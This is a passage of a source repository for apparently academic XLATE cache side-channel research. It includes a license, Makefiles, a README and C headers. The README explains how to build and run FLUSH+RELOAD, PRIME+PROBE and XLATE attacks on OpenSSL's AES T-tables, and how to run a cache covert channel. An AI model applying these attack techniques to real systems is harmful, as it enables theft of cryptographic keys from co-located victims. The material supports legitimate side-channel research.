├── LICENSE ├── Makefile ├── README.md ├── include └── xlate │ ├── elf.h │ ├── eviction.h │ ├── list.h │ ├── macros.h │ ├── page_set.h │ ├── shm.h │ ├── sort.h │ ├── stats.h │ ├── string.h │ ├── termio.h │ ├── tlb.h │ └── x86-64 │ ├── clflush.h │ ├── time.h │ └── tsx.h ├── source ├── Makefile ├── aes-ff.c ├── aes-fr.c ├── aes-pa.c ├── aes-pp.c ├── aes-xa.c ├── aes-xp.c ├── count.c ├── elf.c ├── eviction.c ├── histogram-pa.c ├── histogram-pp.c ├── histogram-xp.c ├── histogram.c ├── list.c ├── page_set.c ├── shm.c ├── sort.c ├── stats.c ├── string.c ├── termio.c ├── tlb.c └── xfer.c └── tools ├── check_aes.py ├── gen_table.py ├── plot_aes.py ├── plot_bypass.py ├── plot_comparison.py ├── plot_full_aes.py ├── plot_full_bypass.py ├── plot_full_mitigation.py ├── plot_histogram.py ├── plot_mitigation.py └── plot_single_aes.py /LICENSE: -------------------------------------------------------------------------------- 1 | Mozilla Public License Version 2.0 2 | ================================== 3 | 4 | 1. Definitions 5 | -------------- 6 | 7 | 1.1. "Contributor" 8 | means each individual or legal entity that creates, contributes to 9 | the creation of, or owns Covered Software. 10 | 11 | 1.2. "Contributor Version" 12 | means the combination of the Contributions of others (if any) used 13 | by a Contributor and that particular Contributor's Contribution. 14 | 15 | 1.3. "Contribution" 16 | means Covered Software of a particular Contributor. 17 | 18 | 1.4. "Covered Software" 19 | means Source Code Form to which the initial Contributor has attached 20 | the notice in Exhibit A, the Executable Form of such Source Code 21 | Form, and Modifications of such Source Code Form, in each case 22 | including portions thereof. 23 | 24 | 1.5. "Incompatible With Secondary Licenses" 25 | means 26 | 27 | (a) that the initial Contributor has attached the notice described 28 | in Exhibit B to the Covered Software; or 29 | 30 | (b) that the Covered Software was made available under the terms of 31 | version 1.1 or earlier of the License, but not also under the 32 | terms of a Secondary License. 33 | 34 | 1.6. "Executable Form" 35 | means any form of the work other than Source Code Form. 36 | 37 | 1.7. "Larger Work" 38 | means a work that combines Covered Software with other material, in 39 | a separate file or files, that is not Covered Software. 40 | 41 | 1.8. "License" 42 | means this document. 43 | 44 | 1.9. "Licensable" 45 | means having the right to grant, to the maximum extent possible, 46 | whether at the time of the initial grant or subsequently, any and 47 | all of the rights conveyed by this License. 48 | 49 | 1.10. "Modifications" 50 | means any of the following: 51 | 52 | (a) any file in Source Code Form that results from an addition to, 53 | deletion from, or modification of the contents of Covered 54 | Software; or 55 | 56 | (b) any new file in Source Code Form that contains any Covered 57 | Software. 58 | 59 | 1.11. "Patent Claims" of a Contributor 60 | means any patent claim(s), including without limitation, method, 61 | process, and apparatus claims, in any patent Licensable by such 62 | Contributor that would be infringed, but for the grant of the 63 | License, by the making, using, selling, offering for sale, having 64 | made, import, or transfer of either its Contributions or its 65 | Contributor Version. 66 | 67 | 1.12. "Secondary License" 68 | means either the GNU General Public License, Version 2.0, the GNU 69 | Lesser General Public License, Version 2.1, the GNU Affero General 70 | Public License, Version 3.0, or any later versions of those 71 | licenses. 72 | 73 | 1.13. "Source Code Form" 74 | means the form of the work preferred for making modifications. 75 | 76 | 1.14. "You" (or "Your") 77 | means an individual or a legal entity exercising rights under this 78 | License. For legal entities, "You" includes any entity that 79 | controls, is controlled by, or is under common control with You. For 80 | purposes of this definition, "control" means (a) the power, direct 81 | or indirect, to cause the direction or management of such entity, 82 | whether by contract or otherwise, or (b) ownership of more than 83 | fifty percent (50%) of the outstanding shares or beneficial 84 | ownership of such entity. 85 | 86 | 2. License Grants and Conditions 87 | -------------------------------- 88 | 89 | 2.1. Grants 90 | 91 | Each Contributor hereby grants You a world-wide, royalty-free, 92 | non-exclusive license: 93 | 94 | (a) under intellectual property rights (other than patent or trademark) 95 | Licensable by such Contributor to use, reproduce, make available, 96 | modify, display, perform, distribute, and otherwise exploit its 97 | Contributions, either on an unmodified basis, with Modifications, or 98 | as part of a Larger Work; and 99 | 100 | (b) under Patent Claims of such Contributor to make, use, sell, offer 101 | for sale, have made, import, and otherwise transfer either its 102 | Contributions or its Contributor Version. 103 | 104 | 2.2. Effective Date 105 | 106 | The licenses granted in Section 2.1 with respect to any Contribution 107 | become effective for each Contribution on the date the Contributor first 108 | distributes such Contribution. 109 | 110 | 2.3. Limitations on Grant Scope 111 | 112 | The licenses granted in this Section 2 are the only rights granted under 113 | this License. No additional rights or licenses will be implied from the 114 | distribution or licensing of Covered Software under this License. 115 | Notwithstanding Section 2.1(b) above, no patent license is granted by a 116 | Contributor: 117 | 118 | (a) for any code that a Contributor has removed from Covered Software; 119 | or 120 | 121 | (b) for infringements caused by: (i) Your and any other third party's 122 | modifications of Covered Software, or (ii) the combination of its 123 | Contributions with other software (except as part of its Contributor 124 | Version); or 125 | 126 | (c) under Patent Claims infringed by Covered Software in the absence of 127 | its Contributions. 128 | 129 | This License does not grant any rights in the trademarks, service marks, 130 | or logos of any Contributor (except as may be necessary to comply with 131 | the notice requirements in Section 3.4). 132 | 133 | 2.4. Subsequent Licenses 134 | 135 | No Contributor makes additional grants as a result of Your choice to 136 | distribute the Covered Software under a subsequent version of this 137 | License (see Section 10.2) or under the terms of a Secondary License (if 138 | permitted under the terms of Section 3.3). 139 | 140 | 2.5. Representation 141 | 142 | Each Contributor represents that the Contributor believes its 143 | Contributions are its original creation(s) or it has sufficient rights 144 | to grant the rights to its Contributions conveyed by this License. 145 | 146 | 2.6. Fair Use 147 | 148 | This License is not intended to limit any rights You have under 149 | applicable copyright doctrines of fair use, fair dealing, or other 150 | equivalents. 151 | 152 | 2.7. Conditions 153 | 154 | Sections 3.1, 3.2, 3.3, and 3.4 are conditions of the licenses granted 155 | in Section 2.1. 156 | 157 | 3. Responsibilities 158 | ------------------- 159 | 160 | 3.1. Distribution of Source Form 161 | 162 | All distribution of Covered Software in Source Code Form, including any 163 | Modifications that You create or to which You contribute, must be under 164 | the terms of this License. You must inform recipients that the Source 165 | Code Form of the Covered Software is governed by the terms of this 166 | License, and how they can obtain a copy of this License. You may not 167 | attempt to alter or restrict the recipients' rights in the Source Code 168 | Form. 169 | 170 | 3.2. Distribution of Executable Form 171 | 172 | If You distribute Covered Software in Executable Form then: 173 | 174 | (a) such Covered Software must also be made available in Source Code 175 | Form, as described in Section 3.1, and You must inform recipients of 176 | the Executable Form how they can obtain a copy of such Source Code 177 | Form by reasonable means in a timely manner, at a charge no more 178 | than the cost of distribution to the recipient; and 179 | 180 | (b) You may distribute such Executable Form under the terms of this 181 | License, or sublicense it under different terms, provided that the 182 | license for the Executable Form does not attempt to limit or alter 183 | the recipients' rights in the Source Code Form under this License. 184 | 185 | 3.3. Distribution of a Larger Work 186 | 187 | You may create and distribute a Larger Work under terms of Your choice, 188 | provided that You also comply with the requirements of this License for 189 | the Covered Software. If the Larger Work is a combination of Covered 190 | Software with a work governed by one or more Secondary Licenses, and the 191 | Covered Software is not Incompatible With Secondary Licenses, this 192 | License permits You to additionally distribute such Covered Software 193 | under the terms of such Secondary License(s), so that the recipient of 194 | the Larger Work may, at their option, further distribute the Covered 195 | Software under the terms of either this License or such Secondary 196 | License(s). 197 | 198 | 3.4. Notices 199 | 200 | You may not remove or alter the substance of any license notices 201 | (including copyright notices, patent notices, disclaimers of warranty, 202 | or limitations of liability) contained within the Source Code Form of 203 | the Covered Software, except that You may alter any license notices to 204 | the extent required to remedy known factual inaccuracies. 205 | 206 | 3.5. Application of Additional Terms 207 | 208 | You may choose to offer, and to charge a fee for, warranty, support, 209 | indemnity or liability obligations to one or more recipients of Covered 210 | Software. However, You may do so only on Your own behalf, and not on 211 | behalf of any Contributor. You must make it absolutely clear that any 212 | such warranty, support, indemnity, or liability obligation is offered by 213 | You alone, and You hereby agree to indemnify every Contributor for any 214 | liability incurred by such Contributor as a result of warranty, support, 215 | indemnity or liability terms You offer. You may include additional 216 | disclaimers of warranty and limitations of liability specific to any 217 | jurisdiction. 218 | 219 | 4. Inability to Comply Due to Statute or Regulation 220 | --------------------------------------------------- 221 | 222 | If it is impossible for You to comply with any of the terms of this 223 | License with respect to some or all of the Covered Software due to 224 | statute, judicial order, or regulation then You must: (a) comply with 225 | the terms of this License to the maximum extent possible; and (b) 226 | describe the limitations and the code they affect. Such description must 227 | be placed in a text file included with all distributions of the Covered 228 | Software under this License. Except to the extent prohibited by statute 229 | or regulation, such description must be sufficiently detailed for a 230 | recipient of ordinary skill to be able to understand it. 231 | 232 | 5. Termination 233 | -------------- 234 | 235 | 5.1. The rights granted under this License will terminate automatically 236 | if You fail to comply with any of its terms. However, if You become 237 | compliant, then the rights granted under this License from a particular 238 | Contributor are reinstated (a) provisionally, unless and until such 239 | Contributor explicitly and finally terminates Your grants, and (b) on an 240 | ongoing basis, if such Contributor fails to notify You of the 241 | non-compliance by some reasonable means prior to 60 days after You have 242 | come back into compliance. Moreover, Your grants from a particular 243 | Contributor are reinstated on an ongoing basis if such Contributor 244 | notifies You of the non-compliance by some reasonable means, this is the 245 | first time You have received notice of non-compliance with this License 246 | from such Contributor, and You become compliant prior to 30 days after 247 | Your receipt of the notice. 248 | 249 | 5.2. If You initiate litigation against any entity by asserting a patent 250 | infringement claim (excluding declaratory judgment actions, 251 | counter-claims, and cross-claims) alleging that a Contributor Version 252 | directly or indirectly infringes any patent, then the rights granted to 253 | You by any and all Contributors for the Covered Software under Section 254 | 2.1 of this License shall terminate. 255 | 256 | 5.3. In the event of termination under Sections 5.1 or 5.2 above, all 257 | end user license agreements (excluding distributors and resellers) which 258 | have been validly granted by You or Your distributors under this License 259 | prior to termination shall survive termination. 260 | 261 | ************************************************************************ 262 | * * 263 | * 6. Disclaimer of Warranty * 264 | * ------------------------- * 265 | * * 266 | * Covered Software is provided under this License on an "as is" * 267 | * basis, without warranty of any kind, either expressed, implied, or * 268 | * statutory, including, without limitation, warranties that the * 269 | * Covered Software is free of defects, merchantable, fit for a * 270 | * particular purpose or non-infringing. The entire risk as to the * 271 | * quality and performance of the Covered Software is with You. * 272 | * Should any Covered Software prove defective in any respect, You * 273 | * (not any Contributor) assume the cost of any necessary servicing, * 274 | * repair, or correction. This disclaimer of warranty constitutes an * 275 | * essential part of this License. No use of any Covered Software is * 276 | * authorized under this License except under this disclaimer. * 277 | * * 278 | ************************************************************************ 279 | 280 | ************************************************************************ 281 | * * 282 | * 7. Limitation of Liability * 283 | * -------------------------- * 284 | * * 285 | * Under no circumstances and under no legal theory, whether tort * 286 | * (including negligence), contract, or otherwise, shall any * 287 | * Contributor, or anyone who distributes Covered Software as * 288 | * permitted above, be liable to You for any direct, indirect, * 289 | * special, incidental, or consequential damages of any character * 290 | * including, without limitation, damages for lost profits, loss of * 291 | * goodwill, work stoppage, computer failure or malfunction, or any * 292 | * and all other commercial damages or losses, even if such party * 293 | * shall have been informed of the possibility of such damages. This * 294 | * limitation of liability shall not apply to liability for death or * 295 | * personal injury resulting from such party's negligence to the * 296 | * extent applicable law prohibits such limitation. Some * 297 | * jurisdictions do not allow the exclusion or limitation of * 298 | * incidental or consequential damages, so this exclusion and * 299 | * limitation may not apply to You. * 300 | * * 301 | ************************************************************************ 302 | 303 | 8. Litigation 304 | ------------- 305 | 306 | Any litigation relating to this License may be brought only in the 307 | courts of a jurisdiction where the defendant maintains its principal 308 | place of business and such litigation shall be governed by laws of that 309 | jurisdiction, without reference to its conflict-of-law provisions. 310 | Nothing in this Section shall prevent a party's ability to bring 311 | cross-claims or counter-claims. 312 | 313 | 9. Miscellaneous 314 | ---------------- 315 | 316 | This License represents the complete agreement concerning the subject 317 | matter hereof. If any provision of this License is held to be 318 | unenforceable, such provision shall be reformed only to the extent 319 | necessary to make it enforceable. Any law or regulation which provides 320 | that the language of a contract shall be construed against the drafter 321 | shall not be used to construe this License against a Contributor. 322 | 323 | 10. Versions of the License 324 | --------------------------- 325 | 326 | 10.1. New Versions 327 | 328 | Mozilla Foundation is the license steward. Except as provided in Section 329 | 10.3, no one other than the license steward has the right to modify or 330 | publish new versions of this License. Each version will be given a 331 | distinguishing version number. 332 | 333 | 10.2. Effect of New Versions 334 | 335 | You may distribute the Covered Software under the terms of the version 336 | of the License under which You originally received the Covered Software, 337 | or under the terms of any subsequent version published by the license 338 | steward. 339 | 340 | 10.3. Modified Versions 341 | 342 | If you create software not governed by this License, and you want to 343 | create a new license for such software, you may create and use a 344 | modified version of this License if you rename the license and remove 345 | any references to the name of the license steward (except to note that 346 | such modified license differs from this License). 347 | 348 | 10.4. Distributing Source Code Form that is Incompatible With Secondary 349 | Licenses 350 | 351 | If You choose to distribute Source Code Form that is Incompatible With 352 | Secondary Licenses under the terms of this version of the License, the 353 | notice described in Exhibit B of this License must be attached. 354 | 355 | Exhibit A - Source Code Form License Notice 356 | ------------------------------------------- 357 | 358 | This Source Code Form is subject to the terms of the Mozilla Public 359 | License, v. 2.0. If a copy of the MPL was not distributed with this 360 | file, You can obtain one at http://mozilla.org/MPL/2.0/. 361 | 362 | If it is not possible or desirable to put the notice in a particular 363 | file, then You may include the notice in a location (such as a LICENSE 364 | file in a relevant directory) where a recipient would be likely to look 365 | for such a notice. 366 | 367 | You may add additional accurate notices of copyright ownership. 368 | 369 | Exhibit B - "Incompatible With Secondary Licenses" Notice 370 | --------------------------------------------------------- 371 | 372 | This Source Code Form is "Incompatible With Secondary Licenses", as 373 | defined by the Mozilla Public License, v. 2.0. 374 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | BUILD ?= obj 2 | 3 | all: $(BUILD)/histogram 4 | 5 | all: $(BUILD)/aes-fr 6 | all: $(BUILD)/aes-ff 7 | all: $(BUILD)/aes-pp 8 | all: $(BUILD)/aes-pa 9 | all: $(BUILD)/aes-xp 10 | all: $(BUILD)/aes-xa 11 | 12 | all: $(BUILD)/xfer 13 | all: $(BUILD)/count 14 | 15 | ARCH ?= $(shell uname -m | \ 16 | sed 's/aarch64/arm64/g' | \ 17 | sed 's/armv7l/arm/g' | \ 18 | sed 's/i[3-6]86/x86/g' | \ 19 | sed 's/x86_64/x86-64/g' | \ 20 | sed 's/amd64/x86-64/g') 21 | 22 | CFLAGS += -D_GNU_SOURCE -g3 -Wall -Wextra -std=gnu11 -O2 23 | CFLAGS += -Iinclude 24 | LDFLAGS += -flto -O2 25 | LIBS += -lelf -lpthread -lrt 26 | 27 | -include source/Makefile 28 | 29 | dep = $(obj:.o=.d) 30 | -include $(dep) 31 | 32 | .PHONY: clean all 33 | 34 | obj = $(addprefix $(BUILD)/, $(obj-y)) 35 | 36 | obj-histogram = $(addprefix $(BUILD)/, $(obj-histogram-y)) 37 | obj-histogram += $(obj) 38 | 39 | $(BUILD)/histogram: $(obj-histogram) 40 | @echo "LD $@" 41 | @mkdir -p $(dir $@) 42 | @$(CC) $(obj-histogram) -o $@ $(LDFLAGS) $(LIBS) 43 | 44 | obj-histogram-pp = $(addprefix $(BUILD)/, $(obj-histogram-pp-y)) 45 | obj-histogram-pp += $(obj) 46 | 47 | $(BUILD)/histogram-pp: $(obj-histogram-pp) 48 | @echo "LD $@" 49 | @mkdir -p $(dir $@) 50 | @$(CC) $(obj-histogram-pp) -o $@ $(LDFLAGS) $(LIBS) 51 | 52 | obj-histogram-xp = $(addprefix $(BUILD)/, $(obj-histogram-xp-y)) 53 | obj-histogram-xp += $(obj) 54 | 55 | $(BUILD)/histogram-xp: $(obj-histogram-xp) 56 | @echo "LD $@" 57 | @mkdir -p $(dir $@) 58 | @$(CC) $(obj-histogram-xp) -o $@ $(LDFLAGS) $(LIBS) 59 | 60 | obj-aes-fr = $(addprefix $(BUILD)/, $(obj-aes-fr-y)) 61 | obj-aes-fr += $(obj) 62 | 63 | $(BUILD)/aes-fr: LDFLAGS += -Lopenssl-1.0.1e 64 | $(BUILD)/aes-fr: LIBS += -lcrypto 65 | $(BUILD)/aes-fr: $(obj-aes-fr) 66 | @echo "LD $@" 67 | @mkdir -p $(dir $@) 68 | @$(CC) $(obj-aes-fr) -o $@ $(LDFLAGS) $(LIBS) 69 | 70 | obj-aes-ff = $(addprefix $(BUILD)/, $(obj-aes-ff-y)) 71 | obj-aes-ff += $(obj) 72 | 73 | $(BUILD)/aes-ff: LDFLAGS += -Lopenssl-1.0.1e 74 | $(BUILD)/aes-ff: LIBS += -lcrypto 75 | $(BUILD)/aes-ff: $(obj-aes-ff) 76 | @echo "LD $@" 77 | @mkdir -p $(dir $@) 78 | @$(CC) $(obj-aes-ff) -o $@ $(LDFLAGS) $(LIBS) 79 | 80 | obj-aes-pp = $(addprefix $(BUILD)/, $(obj-aes-pp-y)) 81 | obj-aes-pp += $(obj) 82 | 83 | $(BUILD)/aes-pp: LDFLAGS += -Lopenssl-1.0.1e 84 | $(BUILD)/aes-pp: LIBS += -lcrypto 85 | $(BUILD)/aes-pp: $(obj-aes-pp) 86 | @echo "LD $@" 87 | @mkdir -p $(dir $@) 88 | @$(CC) $(obj-aes-pp) -o $@ $(LDFLAGS) $(LIBS) 89 | 90 | obj-aes-pa = $(addprefix $(BUILD)/, $(obj-aes-pa-y)) 91 | obj-aes-pa += $(obj) 92 | 93 | $(BUILD)/aes-pa: LDFLAGS += -Lopenssl-1.0.1e 94 | $(BUILD)/aes-pa: LIBS += -lcrypto 95 | $(BUILD)/aes-pa: $(obj-aes-pa) 96 | @echo "LD $@" 97 | @mkdir -p $(dir $@) 98 | @$(CC) $(obj-aes-pa) -o $@ $(LDFLAGS) $(LIBS) 99 | 100 | obj-aes-xp = $(addprefix $(BUILD)/, $(obj-aes-xp-y)) 101 | obj-aes-xp += $(obj) 102 | 103 | $(BUILD)/aes-xp: LDFLAGS += -Lopenssl-1.0.1e 104 | $(BUILD)/aes-xp: LIBS += -lcrypto 105 | $(BUILD)/aes-xp: $(obj-aes-xp) 106 | @echo "LD $@" 107 | @mkdir -p $(dir $@) 108 | @$(CC) $(obj-aes-xp) -o $@ $(LDFLAGS) $(LIBS) 109 | 110 | obj-aes-xa = $(addprefix $(BUILD)/, $(obj-aes-xa-y)) 111 | obj-aes-xa += $(obj) 112 | 113 | $(BUILD)/aes-xa: LDFLAGS += -Lopenssl-1.0.1e 114 | $(BUILD)/aes-xa: LIBS += -lcrypto 115 | $(BUILD)/aes-xa: $(obj-aes-xa) 116 | @echo "LD $@" 117 | @mkdir -p $(dir $@) 118 | @$(CC) $(obj-aes-xa) -o $@ $(LDFLAGS) $(LIBS) 119 | 120 | obj-xfer = $(addprefix $(BUILD)/, $(obj-xfer-y)) 121 | obj-xfer += $(obj) 122 | 123 | $(BUILD)/xfer: LDFLAGS += -Lopenssl-1.0.1e 124 | $(BUILD)/xfer: LIBS += -lcrypto 125 | $(BUILD)/xfer: $(obj-xfer) 126 | @echo "LD $@" 127 | @mkdir -p $(dir $@) 128 | @$(CC) $(obj-xfer) -o $@ $(LDFLAGS) $(LIBS) 129 | 130 | obj-count = $(addprefix $(BUILD)/, $(obj-count-y)) 131 | obj-count += $(obj) 132 | 133 | $(BUILD)/count: LDFLAGS += -Lopenssl-1.0.1e 134 | $(BUILD)/count: LIBS += -lcrypto 135 | $(BUILD)/count: $(obj-count) 136 | @echo "LD $@" 137 | @mkdir -p $(dir $@) 138 | @$(CC) $(obj-count) -o $@ $(LDFLAGS) $(LIBS) 139 | 140 | $(BUILD)/%.o: %.c 141 | @echo "CC $<" 142 | @mkdir -p $(dir $@) 143 | @$(CC) -c $< -o $@ $(CFLAGS) -MT $@ -MMD -MP -MF $(@:.o=.d) 144 | 145 | clean: 146 | @rm -rf $(BUILD) 147 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | Introduction 2 | ============ 3 | 4 | This directory contains the source code used to evaluate existing cache attacks as well as XLATE + PROBE and XLATE + ABORT. XLATE attacks are a new family of indirect cache attacks that leverage the MMU to indirectly manipulate the cache. XLATE + PROBE and XLATE + ABORT are inspired by PRIME + PROBE and PRIME + ABORT respectively. XLATE attacks require eviction sets to monitor the target page of the victim. The algorithm to build these is similar to the algorithm outlined in Spy in the Sandbox and can be found in `source/eviction.c`. More information about the project can be found at: https://www.vusec.net/projects/xlate/ 5 | 6 | The `histogram` proram is used to evaluate the timing difference between cache hits and misses, or more specifically to differentiate between the target page being used or not being used. It is useful to use this program to tune the timings used in the other programs. The `tools/` directory also contains some useful Python scripts to visualize these, such as `tools/plot_histogram.py`. 7 | 8 | OpenSSL 9 | ======= 10 | 11 | For the programs targetting the AES T-table implementation of OpenSSL, you will need OpenSSL with this implementation enabled. Download openssl-1.0.1e and build it as follows: 12 | 13 | ``` 14 | ./config shared no-hw no-asm 15 | make 16 | ``` 17 | 18 | Build the tools as follows: 19 | 20 | ``` 21 | make 22 | ``` 23 | 24 | To perform an attack against the AES T-tables in OpenSSL using FLUSH + RELOAD, run the following: 25 | 26 | ``` 27 | LD_LIBRARY_PATH="./openssl-1.0.1e:$LD_LIBRARY_PATH" ./obj/aes-fr openssl-1.0.1e/libcrypto.so 28 | ``` 29 | 30 | Other attacks that are available are: 31 | 32 | * FLUSH + FLUSH (aes-ff), 33 | * PRIME + PROBE (aes-pp), 34 | * XLATE + PROBE (aes-xp). 35 | * PRIME + ABORT (aes-pa). 36 | * XLATE + ABORT (aes-xa). 37 | 38 | For PRIME + PROBE, PRIME + ABORT, XLATE + PROBE and XLATE + ABORT, make sure the transparent hugepages option is set to madvise or never. 39 | 40 | There are various tools to visualize the results of the OpenSSL AES T-table attack in `tools/`. The most interesting one to start out with would probably be `tools/plot_single_aes.py`. 41 | 42 | Covert channels 43 | =============== 44 | 45 | To evualate the bandwidth and error rate of the various cache attacks, we implemented a covert channel framework. This framework implements a basic synchronization protocol and uses cache attacks to transfer zeroes and ones between two programs over the cache. The source code of the program can be found in `source/xfer.c`. 46 | 47 | To support FLUSH + RELOAD and FLUSH + FLUSH, the `xfer` program uses shared memory. This shared memory is also used to be able to build the appropriate eviction sets, as otherwise the cache jamming agreement protocol (CJAG) would be required. It is recommended to use the hugetlbfs and set up a 2M page for this. The path to this 2M page can be passed as the first argument. The second argument is the cache attack to use for receiving data. The sender will always use FLUSH + RELOAD, since it is the most reliable one for sending the acknowledgements. The third argument indicates whether the program runs as the receiver (recv) or the sender (send). 48 | 49 | See https://wiki.debian.org/Hugepages for more information on how to set up hugetlbfs. The 2M page can be allocated by using the following command: 50 | 51 | ``` 52 | truncate -s 2097152 /hugepages/foo 53 | ``` 54 | 55 | Once hugepages are set up, first run the receiver: 56 | 57 | ``` 58 | ./obj/xfer /hugepages/foo flush-reload recv 59 | ``` 60 | 61 | Next run the sender: 62 | 63 | ``` 64 | ./obj/xfer /hugepages/foo flush-reload send 65 | ``` 66 | 67 | And press enter to resume the receiver. If everything went well, the receiver should be receiving bursts of messages over the cache from the sender. For PRIME + PROBE, PRIME + ABORT, XLATE + PROBE, XLATE + ABORT, the eviction sets have to be built first, give this some time. 68 | 69 | In addition to `xfer`, there is also a `count` program used to count the bandwidth and the error rate. 70 | -------------------------------------------------------------------------------- /include/xlate/elf.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | int gelf_find_sym(GElf_Sym *ret, Elf *elf, const char *key); 4 | void *gelf_find_sym_ptr(Elf *elf, const char *key); 5 | -------------------------------------------------------------------------------- /include/xlate/eviction.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | 6 | #include 7 | #include 8 | 9 | uint64_t prime(struct list *working_set); 10 | int prime_and_probe(struct page_set *working_set, struct page_set *tlb_set, 11 | void *line); 12 | uint64_t xlate(struct page_set *working_set, struct page_set *tlb_set); 13 | int xlate_and_probe(struct page_set *working_set, struct page_set *tlb_set, 14 | void *line); 15 | 16 | void *build_wset(struct page_set *pool, struct page_set *wset, 17 | struct page_set *tlb_set, void *target, 18 | int (* evicts)(struct page_set *, struct page_set *, void *)); 19 | void optimise_wset(struct page_set *pool, struct page_set *wset, 20 | struct page_set *tlb_set, void *target, 21 | int (*evicts)(struct page_set *, struct page_set *, void *)); 22 | int validate_wset(struct page_set *wset, struct page_set *tlb_set, 23 | void *target, 24 | int (* evicts)(struct page_set *, struct page_set *, void *)); 25 | void *find_wset(struct page_set *pool, struct page_set *wset, 26 | struct page_set *tlb_set, void *target, size_t nways, 27 | int (* evicts)(struct page_set *, struct page_set *, void *)); 28 | int limit_wset(struct page_set *lines, struct page_set *wset, size_t nways); 29 | 30 | int build_page_pool(struct page_set *pool, size_t npages); 31 | int build_ptable_pool(struct page_set *pool, const char *path, size_t npages); 32 | -------------------------------------------------------------------------------- /include/xlate/list.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | struct list { 4 | struct list *next; 5 | struct list *prev; 6 | }; 7 | 8 | #define list_foreach(list, node) \ 9 | for (node = (list)->next; node != list; node = node->next) 10 | #define list_foreach_rev(list, node) \ 11 | for (node = (list)->prev; node != list; node = node->prev) 12 | #define list_foreach_safe(list, node, next) \ 13 | for (node = (list)->next, next = node->next; node != list; node = next, \ 14 | next = node->next) 15 | 16 | void list_init(struct list *head); 17 | void list_insert_before(struct list *before, struct list *node); 18 | void list_insert_after(struct list *after, struct list *node); 19 | void list_remove(struct list *node); 20 | void list_push(struct list *head, struct list *node); 21 | void list_push_left(struct list *head, struct list *node); 22 | struct list *list_pop(struct list *head); 23 | struct list *list_pop_left(struct list *head); 24 | -------------------------------------------------------------------------------- /include/xlate/macros.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #define min(x, y) (((x) < (y)) ? (x) : (y)) 4 | #define max(x, y) (((x) > (y)) ? (x) : (y)) 5 | 6 | #define BIT(n) (1 << (n)) 7 | 8 | #define KIB ((size_t)1024) 9 | #define MIB (1024 * KIB) 10 | #define GIB (1024 * MIB) 11 | 12 | #define ALIGN_UP(ptr, align) \ 13 | ((((uintptr_t)ptr) & (align - 1)) ? \ 14 | ((((uintptr_t)ptr) + (align - 1)) & ~(align - 1)) : \ 15 | ((uintptr_t)ptr)) 16 | #define ALIGN_DOWN(ptr, align) \ 17 | ((ptr) & ~(align - 1)) 18 | -------------------------------------------------------------------------------- /include/xlate/page_set.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | 5 | struct page_set { 6 | void **data; 7 | size_t alloc, len; 8 | }; 9 | 10 | struct cache_line { 11 | struct list set; 12 | }; 13 | 14 | int page_set_resize(struct page_set *set, size_t alloc); 15 | int page_set_init(struct page_set *set, size_t alloc); 16 | void page_set_destroy(struct page_set *set); 17 | int page_set_clear(struct page_set *set); 18 | int page_set_push(struct page_set *set, void *line); 19 | void *page_set_remove(struct page_set *set, size_t index); 20 | int page_set_link(struct page_set *set, struct list *ret, size_t offset); 21 | void page_set_remap(struct page_set *set, void *target); 22 | int page_set_shuffle(struct page_set *set); 23 | -------------------------------------------------------------------------------- /include/xlate/shm.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | 5 | int shm_populate(const char *path, size_t size); 6 | int shm_open_or_create(const char *path, size_t size); 7 | -------------------------------------------------------------------------------- /include/xlate/sort.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | 6 | void qsort_sz(size_t *base, size_t len); 7 | void qsort_u64(uint64_t *base, size_t len); 8 | -------------------------------------------------------------------------------- /include/xlate/stats.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | 6 | int mode_u64(uint64_t *value, size_t *count, uint64_t *data, size_t len); 7 | -------------------------------------------------------------------------------- /include/xlate/string.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | int stricmp(const char *lhs, const char *rhs); 4 | -------------------------------------------------------------------------------- /include/xlate/termio.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | void await_key_press(void); 4 | -------------------------------------------------------------------------------- /include/xlate/tlb.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | 5 | int build_tlb(struct page_set *tlb_set, const char *path, size_t nentries); 6 | -------------------------------------------------------------------------------- /include/xlate/x86-64/clflush.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | static inline void clflush(volatile void *p) 4 | { 5 | asm volatile("clflush (%0)\n" 6 | :: "r" (p)); 7 | } 8 | -------------------------------------------------------------------------------- /include/xlate/x86-64/time.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | static inline uint64_t rdtsc(void) 4 | { 5 | uint64_t lo, hi; 6 | 7 | asm volatile("rdtscp\n" 8 | : "=a" (lo), "=d" (hi) 9 | :: "%rcx"); 10 | 11 | lo |= (hi << 32); 12 | 13 | return lo; 14 | } 15 | -------------------------------------------------------------------------------- /include/xlate/x86-64/tsx.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #define XBEGIN_INIT (~0u) 4 | #define XABORT_EXPLICIT (1 << 0) 5 | #define XABORT_RETRY (1 << 1) 6 | #define XABORT_CONFLICT (1 << 2) 7 | #define XABORT_CAPACITY (1 << 3) 8 | #define XABORT_DEBUG (1 << 4) 9 | #define XABORT_NESTED (1 << 5) 10 | #define XABORT_CODE(x) (((x) >> 24) & 0xff) 11 | 12 | static inline unsigned xbegin(void) 13 | { 14 | uint32_t ret = XBEGIN_INIT; 15 | 16 | asm volatile( 17 | "xbegin 1f\n" 18 | "1:\n" 19 | : "+a" (ret) 20 | :: "memory"); 21 | 22 | return ret; 23 | } 24 | 25 | static inline void xend(void) 26 | { 27 | asm volatile( 28 | "xend\n" 29 | ::: "memory"); 30 | } 31 | -------------------------------------------------------------------------------- /source/Makefile: -------------------------------------------------------------------------------- 1 | obj-y += source/elf.o 2 | obj-y += source/eviction.o 3 | obj-y += source/list.o 4 | obj-y += source/page_set.o 5 | obj-y += source/shm.o 6 | obj-y += source/sort.o 7 | obj-y += source/stats.o 8 | obj-y += 